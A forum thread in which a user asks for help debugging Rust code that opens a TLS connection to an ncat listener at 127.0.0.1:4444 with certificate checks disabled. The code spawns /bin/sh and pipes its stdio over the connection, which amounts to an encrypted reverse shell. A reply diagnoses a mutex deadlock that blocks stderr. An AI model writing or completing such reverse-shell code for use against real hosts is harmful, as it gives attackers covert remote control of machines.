Hi
Previously I already asked this question and got an answer (Redirect stdio over TLS - #10 by localacct ). However, some time later, I have problems understanding the answer (had not been practising Rust).
While I try to understand the original answer (ssl - Redirect stdio over TLS in Rust - Stack Overflow ), is there a simpler solution for me to understand how to redirect stdio over TLS, similar to ncat's -e
option?
Sorry for posting this, I have problems understanding the original answer and so I am seeking another opinion.
My aim is to communicate with a remote ncat server over TLS and pipe the stdio to it.
I tried to write some code but I can only redirect stdin and stdout but not stderr. Can someone advise the problem with my code?
async fn connect() -> std::io::Result<()>
{
let mut connection = tokio::net::TcpStream::connect("127.0.0.1:4444").await?;
let mut tlsconnector_builder = tokio_native_tls::native_tls::TlsConnector::builder();
tlsconnector_builder.danger_accept_invalid_certs(true);
tlsconnector_builder.use_sni(false);
tlsconnector_builder.danger_accept_invalid_hostnames(true);
let native_tls_connector = tlsconnector_builder.build().unwrap();
let tokio_tls_connector = tokio_native_tls::TlsConnector::from(native_tls_connector);
let tls_connector = tokio_tls_connector.connect("127.0.0.1:4444", connection).await;
let mut child_process = tokio::process::Command::new("/bin/sh")
.stdin(std::process::Stdio::piped())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let mut child_stdin = child_process.stdin.take().expect("cannot open stdin");
let mut child_stdout = child_process.stdout.take().expect("cannot open stdout");
let mut child_stderr = child_process.stderr.take().expect("cannot open stderr");
match tls_connector
{
Ok(tls_stream) =>
{
let (mut reader, mut writer) = tokio::io::split(tls_stream);
let writer_arc = Arc::new(tokio::sync::Mutex::new(writer));
let writer_clone = Arc::clone(&writer_arc);
let stdin_task = tokio::spawn(async move {
tokio::io::copy(&mut reader, &mut child_stdin).await;
});
let stdout_task = tokio::spawn(async move {
let mut temp = writer_clone.lock().await;
let mut writer = temp.deref_mut();
tokio::io::copy(&mut child_stdout, &mut writer).await;
});
let writer_clone = Arc::clone(&writer_arc);
let stderr_task = tokio::spawn(async move {
let mut temp = writer_clone.lock().await;
let mut writer = temp.deref_mut();
tokio::io::copy(&mut child_stderr, &mut writer).await;
});
futures::join!(stdin_task, stdout_task, stderr_task);
},
Err(error) =>
{
println!("Error establishing TLS connection");
},
}
Ok(())
}
I guess two writer_clone.lock()
s are blocking each other from progressing? You might want to do what tokio::io::copy
does manually, locking writer_clone
briefly just to write incoming bytes, definitely not for the whole spawned task.
Hi @Cerber-Ursi
How do I do that? Sorry, not too experienced with Rust. Can you explain with a simple code snippet?
@Cerber-Ursi
I think you may be right. I commented out the code for stdout_task and now I can see stderr messages.
system
Closed
January 14, 2025, 6:58am
6
This topic was automatically closed 90 days after the last reply. We invite you to open a new topic if you have further questions or comments.